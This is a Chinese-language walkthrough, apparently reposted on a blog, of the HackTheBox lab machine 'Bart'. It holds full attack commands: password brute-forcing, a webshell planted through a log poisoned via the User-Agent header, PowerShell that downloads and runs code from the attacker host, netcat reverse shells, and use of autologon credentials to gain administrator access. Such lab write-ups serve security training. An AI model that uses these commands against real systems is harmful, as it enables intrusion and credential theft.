HTB靶机渗透系列之Bart优质

19次浏览 | 2024-07-11 13:07:53 更新
来源 :互联网
最佳经验

简要回答

Bart是一个中等难度的靶机,知识点涉及密码爆破、网页信息爬取、javascript代码分析、登陆凭证获取、任意注册等。感兴趣的同学可以在HackTheBox中进行学习。

通关思维导图

0x01 侦查端口探测

首先通过nmap对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.81 -oA nmap_Bart

扫描结果显示目标开放了80端口

80端口

访问会重定向至,因此需修改 hosts 文件通过用域名访问80端口

vim /etc/hosts
# HTB配置
10.10.10.81 forum.bart.htb bart.htb

使用 gobuster 进行目录扫描,但是扫描未成功

gobuster dir -u http://forum.bart.htb -w /usr/share/wordlists/dirb/big.txt 

切换 wfuzz 来测试目录结构,但是还是无果。

wfuzz -c -w /usr/share/wordlists/dirb/big.txt http://forum.bart.htb/FUZZ --hh 158607

将目标切换为进行扫描,扫描结果显示存在两个跳转目录:forum 和 monitor

wfuzz -c -w /usr/share/wordlists/dirb/big.txt http://bart.htb/FUZZ 

分别访问和

forum 目录页面与 forum 子域名页面相同,那么 monitor 目录是否也与 monitor 子域名页面相同呢?带着这个疑问我们在 hosts 文件中添加域名解析

vim /etc/hosts
# HTB配置
10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb

成功访问,说明猜测正确

密码爆破

在 forum.bart.htb 中存在以下用户信息。其中只有 Harvey Potter 的信息是被注释掉的,因此将其作为重点关注对象

NameEmailPosition

Samantha Brown

s.brown@bart.local

CEO@BART

Daniel Simmons

d.simmons@bart.htb

Head of Sales

Robert Hilton

r.hilton@bart.htb

Head of IT

Harvey Potter

h.potter@bart.htb

Developer@BART

Daniella Lamborghini

d.lamborghini@bart.htb (guess?)

Head of Recruitment

我们可以在监控登陆界面处的找回密码来进行用户名枚举。当输入错误的用户名时出现界面如下

当输入正确的用户名时,出现email已发送的提示信息

使用 cewl 从网页上爬取字符来获取对应的字典

cewl -w cewl-forum.txt -e -a http://forum.bart.htb

使用 BurpSuite 对 harvey 用户进行密码爆破

将密码参数user_password作为请求变量,成功爆破出密码为 potter

使用harvey/potter进行登录监控界面

登陆后发现存在另一个子域名:internal-01.bart.htb

0x02 上线[iusr]密码爆破

修改 hosts 文件并添加新的子域名

10.10.10.81 forum.bart.htb bart.htb monitor.bart.htb internal-01.bart.htb

设置完成后访问internal-01.bart.htb,是一个内部聊天系统

尝试使用之前的账号密码进行登录,显示报错信息:密码长度不得小于8位

同时如果输入不存在的用户名则会提示用户名未认证

尝试使用密码爆破的方式来获取密码,首先通过 BurpSuite 截取数据包

使用 hydra 进行构造对请求数据包进行爆破,但是返回的 code 都是302,无法识别是否为正确的 code

hydra -t 1 -l harvey -P /usr/share/wordlists/fasttrack.txt  -o internal-out.txt -vV -f internal-01.bart.htb http-post-form '/simple_chat/login_form.php:uname=^USER^&passwd=^PASS^&submit=Login:error'

我们还是使用 BurpSuite 进行爆破

成功拿到密码为Password1,使用harvey/Password1登录系统

任意注册

除了爆破以外我们还可以通过另外一种方式进行登录,扫描 simple_chat 目录可发现存在注册页面register.php

gobuster dir -u http://internal-01.bart.htb/simple_chat -w /usr/share/wordlists/dirb/big.txt -x html,php,txt

虽然无法直接访问该文件。但是我们可通过以下命令注册一个新用户

curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=mac&passwd=password"

以mac/password同样能够成功登录系统

js代码分析

查看页面源代码发现其中存在 javascript 代码

function saveChat() {
	// create a serialized object and send to log_chat.php. Once done hte XHR request, alert "Done"
	var xhr = new XMLHttpRequest();
	xhr.onreadystatechange = function() {
    	if (xhr.readyState == XMLHttpRequest.DONE) {
       		alert(xhr.responseText);
    	}
	}
	xhr.open('GET', 'http://internal-01.bart.htb/log/log.php?filename=log.txt&username=harvey', true);
	xhr.send(null);
	alert("Done");
}			

经过测试发现当用户点击 log 时,就会弹出Done并随后弹出数字1。因为变量 xhr 是由三个参数进行调用,当该参数为 true 时调用异步模式,脚本完成会提示Done。如果收到http响应时,则会调用xhr.onreadystatechange函数并进行提示。与此同时会将请求包直接记录到日志当中。

日志记录获取webshell

访问,发现它记录了用户请求时间、参数以及user-agent等请求信息

与此同时我们再来看请求日志地址,一个新的思路酝酿而成:如果指定请求参数 filename 为PHP文件并修改请求头 User-agent 为PHP脚本内容,是否能完成getshell?

使用 BurpSuite 截取点击log后的数据包,将请求参数 filename 修改为phpinfo.php,User-agent 修改为

发送成功后访问/log/phpinfo.php,成功解析为php脚本语言,这也就意味着我们的猜测正确。

尝试获取webshell,将文件名修改为mac1.php,内容为PHP一句话木马


访问木马地址,可成功执行命令

反弹shell

使用 nishang 中的 Invoke-PowerShellTcp.ps1 脚本来构造反弹

cp /root/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 . 

在脚本最终添加需要反弹的地址和端口

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 5555

使用 python 开启 http 服务

python -m SimpleHTTPServer 80

在本地监听5555端口

nc -nvlp 5555

在木马中执行如下命令

cmd=powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.3/Invoke-PowerShellTcp.ps1')

成功反弹shell

0x03 权限提升[administrator]登陆凭证获取

参考文章:

执行以下命令可在注册表中发现自动登录的默认凭据

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

但以上是cmd命令,而目前所处环境为powershell,因此需替换为powershell命令

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon' | select "Default*"

但是结果显示为空,我们可再构造一个cmd的shell,首先上传 nc.exe

powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.14.3/nc.exe','nc.exe')

在本地监听7777端口

nc -nvlp 7777

在靶机中执行反弹命令

.\nc.exe -e cmd.exe 10.10.14.3 7777

成功拿到cmd窗口,同时查询操作系统版本发现目标为Windows 10 Pro

但查询凭据后还是为空,说明并不是命令的问题。那到底是为什么找不到凭据呢?继续猜测可能是机器出了问题,但是后来发现并不是这样。真正原因是因为我们获取到的 shell 是32位的,而以上命令只能于64位 shell 中查询。

那么我们切换64位版本 nc 来反弹并上传 nc64.exe

powershell.exe -Command (new-object System.Net.WebClient).DownloadFile('http://10.10.14.3/nc64.exe','nc64.exe')

在本地监听2222端口

nc -nvlp 2222

在靶机中执行反弹shell

.\nc64.exe -e powershell.exe 10.10.14.3 2222

判断当前是否处于64位环境中

[environment]::Is64BitOperatingSystem
[environment]::Is64BitProcess

32位环境下:

64位环境下:

查看注册表中的自动登录凭据

反弹shell

复制Invoke-PowerShellTcp.ps1为shell.ps1,同时将反弹端口修改为9999

cp Invoke-PowerShellTcp.ps1 shell.ps1

在本地开启nc监听

nc -nvlp 9999

构造管理员登陆凭据

$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.3/shell.ps1') } -Credential $cred -Computer localhost

成功拿到反弹shell

分别在用户h.potter和管理员的桌面上寻找flag

dir c:\Users\h.potter\
type c:\Users\h.potter\user.txt
dir c:\Users\administrator\Desktop
type c:\Users\administrator\Desktop\root.txt

成功拿到两个flag

默认共享连接

当然我们也可以通过默认共享的方式连接在当前shell环境下拿到管理员权限

net use x: \localhost\c$ /user:administrator 3130438f31186fbaf962f407711faddb
x:
cd \Users\administrator\Desktop
type root.txt

总结:该靶机主要考验我们的信息收集能力,直接访问站点会跳转至域名,因此我们我们需要通过域名解析才能成功访问站点。在目录扫描过程中发现存在monitor子域名,遂将其也添加至域名解析当中,monitor是一个监控管理界面,我们利用从主站点拿到的用户信息作为账号和cewl爬取的字符作为密码进行爆破,爆破成功后可使用harvey登陆监控系统,该系统中存在javascript代码,通过分析后我们可利用日志接口上传木马,并通过站点木马拿到反弹shell。靶机的注册表中存在管理员自动登陆凭证,借助该登陆凭证可成功上线管理员。

本文地址:https://www.czronggao.com/qkl/41678.html

发布于 2024-07-11 13:07:53
收藏
分享
海报
19
上一篇:长尾关键词挖掘 下一篇:ens币有潜力吗?ENS币下个牛市能涨多少?

推荐阅读

0 条评论

本站已关闭游客评论,请登录或者注册后再评论吧~

忘记密码?

图形验证码